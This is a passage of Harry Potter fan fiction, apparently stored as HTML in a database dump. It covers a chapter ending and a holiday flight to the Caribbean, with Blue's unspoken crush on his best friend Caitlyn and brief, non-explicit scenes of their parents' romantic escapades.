Blue said aloud.\n&#8220;I guess I&#8217;m not as bad as I thought I was.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, you are.&#8221; Caitlyn teased. &#8220;I meant us coming here together, there&#8217;s\nno sort of romantic entanglement, you know?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The side of Blue&#8217;s mouth twitched at her comment but she didn&#8217;t notice.\n&#8216;No romantic entanglements, too late for that.&#8217; He thought somewhat sourly as\nthe song ended and he followed Caitlyn to the Gryffindor table against a wall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">****************</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No romantic entanglements?&#8221; Caitlyn repeated, and laughed as she leaned\nher head back against Blue&#8217;s arm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blue smiled briefly at the memory. &#8220;Well, that was only the start of\nthings, my feelings just deepened, but every time I wanted to say something\nyou&#8217;d bring up the fact that we made such good best friends.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I guess I was really blind for so long.&#8221; Caitlyn said thoughtfully. She\nlooked up at him with a gleam in her eye. &#8220;And you know what?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Blue asked her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I still owe you one.&#8221; She grinned devilishly and kissed him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well, there you have it, the 5th part of Bound ;) </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caty and Blue will of course be making a return in the sequel, with\neveryone else from this story, naturally&#8230;the main focus will not be them, but\nwhat I hope will be a good mix of everyone, OC&#8217;s and canon characters.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Adios for now kids, and don&#8217;t forget to review!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(80, 6, ' <p>A/N: Hi everyone! Before I start, I hope <b>everyone</b> will take a <b>second or two</b> to read this <b>A/N</b> that I&#8217;m leaving:</p>\n\n<p><b>I know that everyone is a witch/wizard in this. I know that they can take portkeys to vacation places. But since they are going to a Muggle island, they take Muggle transportation. This brings me to the plane- I know that overseas flights usually have those large planes that stretch about 10 seats across&#8230; that is not the case in this fic. I also know the time difference is a little screwy, but since it&#8217;s NOT that big a deal, I don&#8217;t mention it much. </b></p>\n\n<p><b></b></p>\n\n<p><b>I am also basing this island they go to on the </b><st1:place><st1:placetype><b>island</b></st1:placetype><b> of </b><st1:placename><b>Grand Cayman</b></st1:placename></st1:place><b> in the </b><st1:place><b>Caribbean</b></st1:place><b>. I&#8217;ve been there several times, and for anyone else who has ever vacationed there, it&#8217;ll be easier to visualize as well. For further visualization, the hotel I envision them staying at is the Westin Casuarina Resort, on 7 Mile Beach. </b></p>\n\n<p><b></b></p>\n\n<p><b>Also, please remember that this is Christmas of Caitlyn and Blue&#8217;s 7<sup>th</sup> year. They have not gotten together yet in this fic.</b></p>\n\n<p>Anyways, I hope you enjoy the story and please leave me a review when you&#8217;re done!</p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>Blue Weasley fell onto the bench at the Gryffindor table in the Great Hall. Folding his arms, he let his head drop onto them, eager to see if he could have a quick kip before the lunch hour was over.</p>\n\n<p>&#8220;What&#8217;s the matter with you?&#8221; Caitlyn Potter sat down next to him and prodded his side.</p>\n\n<p>&#8220;I&#8217;m tired!!!&#8221; Blue whined, lifting his head to glare at her before letting it fall back down on his arms. </p>\n\n<p>&#8220;Why?&#8221; Caitlyn asked, taking up her goblet as it filled with pumpkin juice.</p>\n\n<p>&#8220;Because,&#8221; Blue groaned. &#8220;You made me stay up late to study last night and I didn&#8217;t get a lot of sleep!&#8221;</p>\n\n<p>&#8220;Poor baby.&#8221; She snickered.</p>\n\n<p>&#8220;Just because you like studying doesn&#8217;t mean the rest of us do!&#8221; Blue gave up on his nap and rested his elbows on the table.</p>\n\n<p>&#8220;Hey, excuse me for wanting my best friend to do well on his History of Magic exam.&#8221; Caitlyn raised her chin and looked away. &#8220;See if I care when you fail the next one!&#8221;</p>\n\n<p>&#8220;Don&#8217;t be like that Caty&#8230;&#8221; Blue grinned now and reached one hand out to poke her side, laughing as she started to squirm. &#8220;You know I love it when we study together. It&#8217;s even better than Quidditch!&#8221; he began to tickle her.</p>\n\n<p>&#8220;STOP it!&#8221; Caitlyn nearly screamed, he knew how ticklish she was and used it to his advantage. The other Gryffindors looked over and smirked, they were all too used to the antics between the two best friends. </p>\n\n<p>&#8220;I really hate you sometimes, you know that?&#8221; Caitlyn glared as Blue finally let up.</p>\n\n<p>&#8220;No you don&#8217;t.&#8221; he said confidently, reaching for a chicken drumstick that had just appeared on the platter in front of them. </p>\n\n<p>Caitlyn rolled her eyes but smiled at him. She was just about to start eating when the owl post arrived, dropping letters in front of herself and Blue. Picking hers up curiously, she saw it was from her parents.</p>\n\n<p>&#8220;I wonder what they&#8217;re owling me for, we&#8217;ll be home in three days&#8230;&#8221; Caitlyn said to Blue. The Christmas holiday was just around the corner and the two of them would be heading home that year.</p>\n\n<p>&#8220;I don&#8217;t know.&#8221; Blue was opening his letter. His eyes widened as he read it. &#8220;Merlin&#8217;s Beard!&#8221;</p>\n\n<p>&#8220;What?&#8221; Caitlyn quickly tore open her own letter. Her jaw dropped as she read her mother&#8217;s neat handwriting. &#8220;Blue! We&#8217;re going on vacation together!&#8221;</p>\n\n<p>&#8220;To the <st1:place>Caribbean</st1:place>!&#8221; he cried, tossing his letter onto the table. Caitlyn grinned and continued to read. </p>\n\n<p>&#8220;We&#8217;ll be leaving the day after Christmas and we will be there for a week. Will is joining us so Colin won&#8217;t be lonely.&#8221; Blue let out a large groan at this. </p>\n\n<p>&#8220;Why does he have to come?&#8221; he whined. Will was his Aunt Ginny and Uncle Seamus&#8217;s son; he was Colin&#8217;s age and a rather big pest at times.</p>\n\n<p>&#8220;Well think of it this way&#8230; he and Colin are best friends, they&#8217;ll be playing with each other and more importantly, leave us alone!&#8221; Caitlyn replied.</p>\n\n<p>&#8220;Good point.&#8221; Blue said, purposefully leaning closer to her so that their shoulders were touching. &#8220;Who else is coming then?&#8221;</p>\n\n<p>&#8220;Just you, me, my mum and dad, your mum and dad, Colin and Will.&#8221; Caitlyn scanned over the rest of the letter, then turned to her best friend and grinned. &#8220;Can you believe this? The <st1:place>Caribbean</st1:place>! Dad always knew I wanted to go there!&#8221; </p>\n\n<p>Blue smiled back and was lost in a fantasy for a moment of her running towards him on a sandy beach, clad in a knitted white bikini. Her hair was wet from the ocean and glittered in the sun, moving behind her back as she neared him.</p>\n\n<p>&#8220;This place is so perfect isn&#8217;t it?&#8221; Caitlyn threw her arms around him. Without letting him say a word, she leaned in and pressed her mouth up against his. Her lips were soft and inviting as he swiped his tongue across her lips and pushed into her mouth. Blue wound his hands around her waist, then brought them up her back and slowly untied the back of her bikini. </p>\n\n<p>Caitlyn stepped away and grinned up at him as she raised her arms and began to untie the string around her neck. Blue&#8217;s eyes widened as she lifted them away from her shoulders&#8230;</p>\n\n<p>&#8220;Blue!!&#8221; Caitlyn waved her hand in front of his face. &#8220;Did you fall asleep or something? Lunch is almost over and you haven&#8217;t eaten a thing!&#8221;</p>\n\n<p>&#8220;Oh!&#8221; Blue shook his head and snapped out of his daydream, a guilty flush staining his face. </p>\n\n<p>Caitlyn was about to ask him what he was dreaming about when her best girlfriend Lana sat down beside her and began chatting away about the upcoming holiday. He was relieved as he began to eat, not wanting her to know about his feelings.</p>\n\n<p>*****Vacation Morning*****</p>\n\n<p>&#8220;Colin! You and Will get down here now!&#8221; Hermione Potter called up the stairs to her son and nephew. She looked at her daughter who stood next to her and crossed her arms. &#8220;Honestly!&#8221; she shook her head and Caitlyn giggled. </p>\n\n<p>&#8220;I told you to let me get them.&#8221; She said, tossing her hair over her shoulder. &#8220;I&#8217;d have had them up ages ago.&#8221;</p>\n\n<p>&#8220;Caitlyn, jumping up and down on top of them isn&#8217;t what I would call getting them up.&#8221; Hermione chastised, but she had a small smile on her face. At that moment the two boys hurtled down the stairs.</p>\n\n<p>&#8220;We&#8217;re ready!&#8221; they both said unanimously. </p>\n\n<p>Harry was already outdoors, loading suitcases into the back of their magically enhanced Muggle car. Besides the fact that they were headed for a Muggle island, Hermione was also pregnant and unable to use portkeys, therefore they were taking a plane. Caitlyn was excited, she had flown once with her father to <st1:country-region><st1:place>France</st1:place></st1:country-region> when she was eight, and had loved it. Colin and Will tripped over themselves in their eagerness to get going. Caitlyn looked over to the Weasley home; Ron, Lavender and Blue were just leaving the house and heading over. Both families would be travelling to the airport together.</p>\n\n<p>&#8220;Aren&#8217;t you excited?&#8221; she nearly squealed as her father helped Ron put their suitcases in the trunk as well. Blue slumped against the side of the car, not answering.</p>\n\n<p>&#8220;He&#8217;s a bit nervous about flying.&#8221; Ron grinned over at her.</p>\n\n<p>&#8220;What?&#8221; Caitlyn began to laugh. &#8220;Blue, you fly all the time on your broomstick, this is really no different!&#8221;</p>\n\n<p>&#8220;Yes it is!&#8221; he said as the two of them climbed into the backseat. &#8220;I have control of my broom; I can&#8217;t do that with a plane.&#8221; Blue crossed his arms and took a deep breath.</p>\n\n<p>Caitlyn tried to stifle her giggles as she placed a comforting arm around his shoulders. &#8220;I never thought I&#8217;d see the day when you were scared of something.&#8221;</p>\n\n<p>&#8220;Ah, well, not all of us can be as brave as you are.&#8221; He finally turned a teasing grin her way. She stuck her tongue out at him and then turned to the window as the two boys shoved their way into the back seat.</p>\n\n<p>&#8220;Ow!&#8221; Caitlyn rubbed the side of her leg which was smashed into the car door. &#8220;Colin!&#8221;</p>\n\n<p>&#8220;What?&#8221; he asked, his innocent wide eyed look firmly in place. Caitlyn wanted to get up and smack him but was wedged firmly in place by Blue, practically sitting on his lap.</p>\n\n<p>&#8220;Why Caty, I didn&#8217;t know you wanted me that badly. If you wanted to sit on my lap you could have just asked.&#8221; He smirked up at her as he wound his arms around her slender waist. It was fairly obvious that Blue was enjoying himself very much now.</p>\n\n<p>Caitlyn yelped and pushed at him, sliding back down onto the seat. &#8220;Prat,&#8221; she muttered.</p>\n\n<p>&#8220;Everyone set?&#8221; Harry asked, slamming his car door shut.</p>\n\n<p>&#8220;Dad I don&#8217;t understand why you couldn&#8217;t make this backseat bigger.&#8221; Caitlyn complained as she tried to sit in the narrow opening.</p>\n\n<p>&#8220;Well there are some things that should never change and the backseat is one of them.&#8221; Harry quipped as he began to drive the car down the lane. Caitlyn rolled her eyes and tried to make herself comfortable.</p>\n\n<p>Blue was still enjoying himself. His arm had yet to be removed from her waist, and he figured if he didn&#8217;t draw any attention to it, she wouldn&#8217;t ask him to take it away. Half her body was still sitting on his lap as well, and he had to shift a few times to make sure Caitlyn couldn&#8217;t tell just <i>how</i> much he was enjoying it. She was looking out the window at the scenery as it rolled by, and Blue leaned forward and sniffed at her long hair. It smelled like wildflowers, and it was all he could do to pull away.</p>\n\n<p>They arrived at the airport a short time later, the kids pushing their way out of the backseat, Hermione and Lavender grabbing carts as Harry and Ron unloaded luggage.</p>\n\n<p>&#8220;I&#8217;ll go park this and meet you inside.&#8221; Harry said, waving them into the lobby. Hermione nodded as her husband drove away. Blue and Ron helped pull the suitcases inside as they waited, and once Harry rejoined them they all headed for the check in counters.</p>\n\n<p>&#8220;Hermione?&#8221; Ron came up beside his friend. &#8220;I uh&#8230; I don&#8217;t know what to do at those counters.&#8221;</p>\n\n<p>Hermione smiled. &#8220;Ron, it&#8217;s fine, you just hand them these tickets along with your passports.&#8221; Her eyes grew worried. &#8220;You <i>did</i> bring those passports I made you get right?&#8221;</p>\n\n<p>&#8220;I think so.&#8221; Ron turned to his wife. &#8220;Lav do you have those port passes?&#8221;</p>\n\n<p>&#8220;Pass ports.&#8221; Hermione corrected. Lavender dug through her bag and pulled out four small booklets.</p>\n\n<p>&#8220;Yes, you almost left them behind on the counter.&#8221; She said, handing them to her husband. </p>\n\n<p>&#8220;Everyone ready?&#8221; Harry had joined them. The eight of them made their way to the ticket counters, and after a relatively easy time checking in, especially for Ron, they all got past the security booths and were waiting at the gate.</p>\n\n<p>&#8220;Feeling okay?&#8221; Caitlyn was sitting next to Blue, who still looked as if he&#8217;d just been through a particularly nasty Quidditch game.</p>\n\n<p>&#8220;Eh, okay.&#8221; He grunted, embarrassed. Will and Colin didn&#8217;t even seem to be nervous, and here he was, acting like a child.</p>\n\n<p>Caitlyn managed to suppress a smile. &#8220;It&#8217;ll be all right. We&#8217;ll sit next to each other and I&#8217;ll tell you everything I know about airplanes so you won&#8217;t feel so worried.&#8221; She placed a comforting hand on his arm.</p>\n\n<p>&#8220;Okay.&#8221; He said, cheered up by her words. She smiled at him and returned to her book, and Blue took the chance to look at Caitlyn without her knowing.</p>\n\n<p>When he&#8217;d first started having feelings for his best friend it had absolutely terrified him, the fact that she had become quite a beautiful young woman had not gone unnoticed by many of the other guys at Hogwarts as well. </p>\n\n<p>She had also remained oblivious, unfortunately, especially to him. He wondered sometime if he&#8217;d ever get his chance or if he should move on. Currently she was seeing a Hufflepuff named Ryan, and Blue wasn&#8217;t pleased about it in the least.</p>\n\n<p>&#8220;Hey Blue, come on, we&#8217;re boarding!&#8221; Caitlyn had grabbed his hand and was pulling. He swallowed back his nervousness and allowed himself to be ushered forward, after giving his ticket to a smiling woman they went down a narrow tunnel and onto the plane.</p>\n\n<p>Following a bit of shuffling around, Caitlyn had managed to switch seats with Will so she could sit next to Blue. She buckled herself in and settled back, looking out the window at the other planes.</p>\n\n<p>&#8220;How did you do that?&#8221; Blue asked, referring to her seatbelt. He held the two straps in his hand, pretending to be clueless.</p>\n\n<p>&#8220;You can&#8217;t buckle yourself in?&#8221; Caitlyn asked, her eyebrow raised.</p>\n\n<p>&#8220;No&#8230;&#8221; he pushed the two together and looked at her with a carefully blank expression.</p>\n\n<p>&#8220;Honestly.&#8221; She reached over and to his immense delight, brought the two straps together over his lap and snapped them together. &#8220;There!&#8221; she pulled hard and tightened it. Her eyes met his and she glared when she saw the impish twinkle. &#8220;You&#8217;re an ass.&#8221;</p>\n\n<p>Blue started laughing. &#8220;That was good wasn&#8217;t it?&#8221; He raised his eyebrows at her. &#8220;That felt nice too. Will you do it again?&#8221; </p>\n\n<p>&#8220;I don&#8217;t know why I put up with you sometimes.&#8221; She said, her eyes showing her amusement and betraying her tone.</p>\n\n<p>The plane roared to life and Blue jumped. &#8220;What was that?&#8221; he asked, wide eyed.</p>\n\n<p>&#8220;It&#8217;s just the plane.&#8221; Caitlyn replied, leaning back. &#8220;Look, you see next to us, that&#8217;s another plane about to leave.&#8221;</p>\n\n<p>&#8220;Oh.&#8221; Blue felt silly for getting freaked out. He tugged on the seat belt a little tighter around his waist and sat back. All of a sudden, everything outside the plane started moving. &#8220;Hey I thought we had to be off the ground to fly in this thing!&#8221;</p>\n\n<p>&#8220;Blue we&#8217;re not flying yet.&#8221; Caitlyn replied patiently. &#8220;First, do you see out there &#8211; that long strip that looks like a road?&#8221;</p>\n\n<p>&#8220;Yeah.&#8221; Blue answered.</p>\n\n<p>&#8220;That&#8217;s called a runway. As we go down the runway, we pick up speed and eventually we&#8217;ll lift up in the air.&#8221;</p>\n\n<p>He nodded, understanding. &#8220;How long will that take?&#8221;</p>\n\n<p>&#8220;A few more minutes, most likely.&#8221; Caitlyn replied. &#8220;Are you feeling any better?&#8221;</p>\n\n<p>&#8220;Just a little.&#8221; Blue said. She smiled up at him and then reached over and took his hand tightly in hers.</p>\n\n<p>&#8220;We&#8217;ll be all right. Takeoffs are fun, wait until you see how fast we go.&#8221; As she said this, the plane turned down the long runway. &#8220;Here we go!&#8221; she squealed quietly, squeezing Blue&#8217;s hand. </p>\n\n<p>He gripped her fingers, partly because the roar of the plane was growing louder and partly because they were <i>her</i> fingers, a very comforting hand. Blue almost had a mind to take it a bit further and clutch at Caitlyn&#8217;s shoulder, but thought better of it.</p>\n\n<p>&#8220;This is nothing like flying.&#8221; He muttered, still looking over her shoulder as the scenery began to blur. &#8220;Portkeys would have been much easier.&#8221;</p>\n\n<p>&#8220;I think so too, but for one thing, we&#8217;re going to a Muggle island, and for another, my mum can&#8217;t do portkeys while she&#8217;s pregnant.&#8221; It had been a recent bout of news in the Potter and Weasley families that Hermione was two months pregnant with twins.</p>\n\n<p>&#8220;I know&#8230;whoa!&#8221; Blue said in amazement as the entire plane lifted off the ground. The plane rumbled up for 15 minutes more and then levelled off; becoming quite smooth.</p>\n\n<p>&#8220;How are you feeling now?&#8221; Caitlyn pulled her hand away from Blue&#8217;s, flexing her cramped fingers.</p>\n\n<p>&#8220;Better.&#8221; Blue tried to look out and down to the land below them. </p>\n\n<p>&#8220;Here&#8230;&#8221; Caitlyn unbuckled her seat belt and stood up. &#8220;Switch seats with me and you can look outside all you want to.&#8221;</p>\n\n<p>&#8220;Really?&#8221; Blue grinned and stood up as well. &#8220;Thanks.&#8221;</p>\n\n<p>&#8220;Sure.&#8221; Caitlyn sat down in the aisle seat now and pulled a book from her bag and settled back to read the flight away as her best friend remained entranced by the fact that they were thousands of feet in the air.</p>\n\n<p>Harry stretched his legs out under the seat, looking at his son and nephew across the aisle. Ron and Lavender were sitting behind he and Hermione, Caitlyn and Blue across from them. He turned back to his wife as she tucked a strand of hair behind her ear. Harry found this incredibly sexy. </p>\n\n<p>&#8220;Hey Mione&#8230;&#8221; he leaned forward and whispered in her ear. &#8220;Have you heard of this club they have for people on planes?&#8221;</p>\n\n<p>Hermione looked up from her book, suspicion crossing her features. &#8220;No Harry I haven&#8217;t. What sort of club?&#8221;</p>\n\n<p>&#8220;It&#8217;s called the Mile High club.&#8221; Harry said, feeling more eager. &#8220;You go into the bathroom and&#8230;&#8221; he never got to finish because Hermione turned away.</p>\n\n<p>&#8220;Harry, honestly. You know that we&#8217;re not supposed to be having a lot of sex right now.&#8221; </p>\n\n<p>&#8220;I know&#8230; but we haven&#8217;t in awhile, and you know how we get in new places&#8230;&#8221; Harry pleaded, making his eyes go wide.</p>\n\n<p>&#8220;Harry&#8230;.&#8221; Hermione sighed and looked at her husband. &#8220;No!&#8221;</p>\n\n<p>&#8220;Why not?&#8221; Harry was insistent. &#8220;You go, and in a few minutes I&#8217;ll follow&#8230;.&#8221; He leaned in closer as he moved his hand over her thigh, and chastely kissing her neck. </p>\n\n<p>Hermione uttered a frustrating noise and got up, moving past Harry without a second glance. He grinned smugly as he watched her sway down the aisle, then gulped as she turned back and winked at him before disappearing into the locker sized bathroom. Harry turned slightly in his seat; his daughter was reading a novel, Blue still staring out the window. Ron was doing the same as his son, while Lavender seemed to be napping. Deciding that no one would pay any attention, he got up and out of his seat and went to the front. He waited outside for a few moments more then knocked softly.</p>\n\n<p>&#8220;Hermione?&#8221; he called in a low voice. He heard her unlock the door and he quickly slipped inside, relocking it behind him.</p>\n\n<p>&#8220;Bright idea, Harry.&#8221; Hermione was leaning up against the sink with her arms crossed. &#8220;It&#8217;s barely big enough in here for me.&#8221;</p>\n\n<p>&#8220;We don&#8217;t need a lot of room.&#8221; Harry grinned, winding his arms about her waist. Before she could voice another complaint, his lips were on hers. Hermione forgot about her irritation as Harry&#8217;s hands untucked her shirt and travelled up her bare back. She had to stifle moans coming out of her mouth as his lips made their way down her neck; Harry tried his hardest not to leave too many marks lest they be caught.</p>\n\n<p>Harry brought his hands around from the back and pulled up on her shirt; Hermione lifted her arms as it went over her head. Their mouths came back together, tongues thrusting furiously as Hermione ripped away at his shirt, buttons flying everywhere. His glasses fell askew on his nose, and he pulled them off and tossed them on top of the two discarded pieces of clothing. Harry&#8217;s mouth returned to Hermione&#8217;s once again and vigorous, hot kisses were only a precedent to the actions of their lower halves. </p>\n\n<p>Afterward, they leaned up against one another, a fine sheen of sweat covering their bodies. Harry looked at his wife and grinned as she started to giggle.</p>\n\n<p>&#8220;Only you could have me making love to you in an airplane bathroom.&#8221; Hermione rubbed her thumb along his cheek. </p>\n\n<p>&#8220;I&#8217;m just so persuasive aren&#8217;t I?&#8221; Harry smirked, then reached down and picked up their discarded clothing. &#8220;Come on, I think we&#8217;ve been gone long enough now&#8230;&#8221;</p>\n\n<p>Hermione pulled her shirt over her head and tried to straighten out her hair. &#8220;Um&#8230; Hermione?&#8221; Harry&#8217;s voice broke through her thoughts. &#8220;Do you have your wand with you?&#8221;</p>\n\n<p>&#8220;No, it&#8217;s back in my bag, why?&#8221; Her eyes travelled down his front. &#8220;Oh&#8230;&#8221; it was then that Hermione realised that she had pulled all the buttons off his shirt.</p>\n\n<p>&#8220;What are we going to do?&#8221; Harry asked. &#8220;I can&#8217;t go out there like this!&#8221; </p>\n\n<p>&#8220;Just&#8230;&#8221; Hermione looked around for a moment. &#8220;Use your magic to get the buttons and I&#8217;ll put them back on later.&#8221;</p>\n\n<p>Harry nodded and closed his eyes for a moment in full concentration. A few seconds later, buttons zoomed in from different parts of the bathroom. &#8220;Okay, I think that&#8217;s all of them.&#8221;</p>\n\n<p>&#8220;Just let me go, and step out from behind me. Perhaps no one will notice.&#8221; Hermione said quietly as she unlocked the door. They were lucky, very lucky in fact. The stewardesses were in the rear of the plane (Harry and Hermione had gone to the bathroom in the front) and most everyone was asleep, as it was still quite early in the morning.</p>\n\n<p>Everyone that is, except for Ron, Lavender, Caitlyn and Blue. Ron was first to notice his two best friends coming down the aisle, their faces still a bit flushed.</p>\n\n<p>&#8220;Problems?&#8221; he grinned as Harry and Hermione slid back into their seats. Lavender was laughing quietly, while Caitlyn looked rather sick at the thought of what her parents had been doing. </p>\n\n<p>&#8220;Shut up Ron.&#8221; They said at the same time. Hermione made Harry take off his outer shirt and she turned towards the window with her wand while she fixed it quickly.</p>\n\n<p>&#8220;Honestly&#8230;&#8221; Caitlyn shook her head and buried her nose back in her book. &#8220;You&#8217;d think they don&#8217;t go at it like rabbits every other day, they have to go and shag on a plane as well.&#8221; </p>\n\n<p>&#8220;I think it&#8217;s funny.&#8221; Blue snickered. He peered over at her parents, who were now busy acting like nothing had happened at all. Caitlyn simply shook her head at him, not amused in the slightest bit.</p>\n\n<p>&#8220;How is your book?&#8221; He pulled up on one side to see the cover. &#8220;You&#8217;re reading a romance novel!&#8221;</p>\n\n<p>&#8220;So?&#8221; Caitlyn pulled it from his grasp. &#8220;Brenda Joyce is an excellent author, and I really like this series.&#8221;</p>\n\n<p>&#8220;You&#8217;re not just reading it for sex?&#8221; Blue asked, smirking. </p>\n\n<p>&#8220;Honestly!&#8221; Caitlyn snapped the book shut and shoved it in her bag. &#8220;You are so immature sometimes, Blue.&#8221; She pulled down the tray table and folded her arms so she could rest her head on top of them. She had been so excited the night before about leaving that she hadn&#8217;t gotten much rest, and it had finally caught up to her.</p>\n\n<p>Blue looked at her for a moment, debating on whether or not to push her further but decided against it. He was rather tired himself, now that his nervousness over flying was gone. Imitating Caitlyn, he folded his arms and dropped his head on them, falling into a deep slumber.</p>\n\n<p><i>*** Blue watched as she ran down the beach towards him, her long hair swinging behind her, shining in the bright sunlight. He could feel a smile spreading across his face as Caitlyn jumped up and threw her arms around him, immediately pressing her lips against his.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;I&#8217;m sorry it took me so long to figure out how I really felt about you&#8230;&#8221; she said after they had kissed a few long moments. Her fingers were buried in his longish red locks as her other hand cupped his cheek. &#8220;I love you.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;I love you too.&#8221; He was able to choke out before she leaned forward and kissed him again, this time making it more passionate by pushing her tongue through his lips. He opened his mouth to her gladly as his hands came up and untied the strings that held her suit across the back.</i></p>\n\n<p><i></i></p>\n\n<p><i>Caitlyn stepped back and grinned as she raised her arms and undid the strings around her neck. She lifted them up in her hands and began to pull the top away&#8230; ****</i></p>\n\n<p>&#8220;Blue!&#8221; Harry felt bad about waking up his daughter and her best friend but they were about to land, and it seemed Ron and Lavender had disappeared. &#8220;Blue where did your parents go?&#8221;</p>\n\n<p>&#8220;I don&#8217;t know.&#8221; Blue rubbed at his eyes and noticed that Caitlyn was doing the same. &#8220;Why?&#8221;</p>\n\n<p>&#8220;They&#8217;re not here and we&#8217;re about to land.&#8221; Harry looked up the aisle and suddenly saw the bathroom door in the front of the plane open. Ron and Lavender stepped out, looking a bit dishevelled. A stewardess was standing near the front and pursed her lips in a frown when she saw the two people stepping out. Harry had to hold in his laughter as she said something to Ron.</p>\n\n<p>&#8220;Check it out.&#8221; He nudged Hermione with his shoulder as he sat back down in his seat. </p>\n\n<p>&#8220;What?&#8221; her eyes followed Harry&#8217;s line of vision until she saw Ron and Lavender talking to a stewardess up in the front. &#8220;What&#8217;s the big deal?&#8221;</p>\n\n<p>&#8220;She caught them coming out of the bathroom.&#8221; Harry snorted, and Hermione slapped a hand over her mouth to cover her giggles as their friends both grew red and then came back down the aisle.</p>\n\n<p>&#8220;Problems?&#8221; Harry grinned stupidly as Ron and Lavender slid into their seats. </p>\n\n<p>&#8220;Shut up Harry.&#8221; Ron said. He studiously avoided the glare coming across the aisle from his son.</p>\n\n<p>Caitlyn looked at Blue with her eyebrow raised. &#8220;Looks like my parents weren&#8217;t the only ones antsy.&#8221; She said. </p>\n\n<p>&#8220;It&#8217;s sick.&#8221; Blue crossed his arms across his chest as he tore his gaze from his still red mother and father. &#8220;At least your parents didn&#8217;t get caught!&#8221;</p>\n\n<p>&#8220;True&#8230;&#8221; Caitlyn tried to keep the corner of her mouth from quirking up in a smile. &#8220;Oh look!&#8221; she pointed out the window as the flat island came into view. &#8220;We&#8217;re almost there!&#8221;</p>\n\n<p>&#8220;Cool!&#8221; Both of them leaned over and watched as the plane dipped lower and lower to the ground. </p>\n\n<p>&#8220;Look at the beach, look at that water&#8230;&#8221; Caitlyn was already in heaven as she took in the island. &#8220;I can&#8217;t wait to get out there!&#8221;</p>\n\n<p>&#8220;Me either.&#8221; Blue muttered, remembering his dream. He&#8217;d seen Caitlyn in a swim costume before, although not a bikini. The thought of that made him warm all over again as he tugged at his shirt collar.</p>\n\n<p>Hermione awoke her son and nephew after they had landed, not wanting them bouncing around in the seats and disturbing other passengers. The plane was sitting out on the runway, a little distance away from the tiny airport itself.</p>\n\n<p>&#8220;Come on!&#8221; &nbsp;Blue excitedly prodded Caitlyn in the back. &#8220;Let&#8217;s get out of here!&#8221; </p>\n\n<p>&#8220;Hang on!&#8221; she said. &#8220;We have to wait for everyone in front of us to get off first, and then we can leave too.&#8221; They were standing now, eager to stretch their legs after being cramped in two tiny seats for so long.</p>\n\n<p>&#8220;Caty, Blue, wait for us outside, all right?&#8221; Hermione called. Caitlyn nodded and scurried forward, she wanted to feel the warm air. </p>\n\n<p>&#8220;Ohhh!&#8221; she closed her eyes in delight as she stepped off the plane. The sun was warm on her face, a gentle breeze bringing in the scent of the ocean which was barely 100 feet away. &#8220;Ohhh this place is just perfect isn&#8217;t it?&#8221;</p>\n\n<p>Blue nearly fell over the last few steps as he heard her say this; it was directly from his dream. He was wondering if it had any significance when the rest of the family got off the plane and they all headed towards the small thatched roof airport. </p>\n\n<p>Once inside, they had to go through the usual deal with Customs, even though they were still technically in British territory. &nbsp;After that, they went across the street, dragging their luggage, to the car rental place.</p>\n\n<p>&#8220;We&#8217;ll be right back, Caitlyn, keep an eye on all the boys all right?&#8221; Hermione said as the adults disappeared inside. Blue let out an enraged squawk. </p>\n\n<p>&#8220;Why did your mum say to keep an eye on me?&#8221; he asked.</p>\n\n<p>&#8220;Because you like to cause trouble. It&#8217;s your last name.&#8221; Caitlyn grinned teasingly at her best friend. She sat down on the curb and pulled a pair of Muggle sunglasses from her purse. &#8220;I could stay here forever&#8230;&#8221; she said as she raised her face to the sun. Blue grinned and sat down next to her.</p>\n\n<p>&#8220;I can&#8217;t wait to change out of this jumper.&#8221; He plucked at his sleeves, and then pushed them up his arms. &#8220;It&#8217;s too hot for this.&#8221;</p>\n\n<p>&#8220;I was prepared.&#8221; Caitlyn grabbed the ends of her own jumper and pulled up. Blue&#8217;s eyes widened and he gulped as he tried not to gaze at her chest. She had on a simple white tank top underneath that suited the weather perfectly.</p>\n\n<p>&#8220;Well we can&#8217;t all be as smart as you, can we?&#8221; he finally said in a smart aleck tone that showed no signs of how he was feeling. <i>&#8216;Merlin&#8217;s Beard, if she looks this good in a tank top I sure hope she has a bikini&#8230;&#8217;</i></p>\n\n<p>&#8220;Hey!&#8221; Caitlyn suddenly lurched up and streaked over to her brother. &#8220;Mum told you to behave, not tear apart our luggage!&#8221; she pulled Colin away and he stuck his tongue out at her. &#8220;Honestly!&#8221; she pulled on the handle and dragged it over to where she and Blue were sitting. &#8220;It&#8217;ll be so nice when he grows up!&#8221;</p>\n\n<p>&#8220;Age never matters when it comes to maturity.&#8221; Blue grinned cheekily at her and Caitlyn started to giggle. </p>\n\n<p>&#8220;You never fail to make me laugh.&#8221; She leaned her head on his shoulder, and he felt butterflies in his stomach. &#8220;I wonder what Ryan is doing right now?&#8221; she said a few moments later.</p>\n\n<p>Blue made a face, he tremendously disliked 